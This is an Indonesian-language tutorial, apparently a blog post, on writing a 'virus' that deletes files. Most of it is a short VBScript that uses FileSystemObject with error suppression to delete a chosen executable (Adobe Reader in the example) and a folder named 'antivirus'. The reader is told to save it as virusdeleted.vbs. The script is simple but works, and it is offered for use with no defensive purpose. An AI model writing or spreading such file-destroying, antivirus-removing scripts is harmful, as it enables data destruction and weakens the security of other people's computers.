Membuat Virus Yang Dapat Menghapus File

Masuk Notepad kemudian tulis script di bawah ini, agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:

On Error Resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\xxx.exe” (menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder “C:\antivirus” (menghapus folder antivirus di direktory C:\)

Contoh :
On Error resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe”
hapus.DeleteFolder “C:\antivirus”

Kemudian simpan script tersebut dalam bentuk file.vbs, misal: virusdeleted.vbs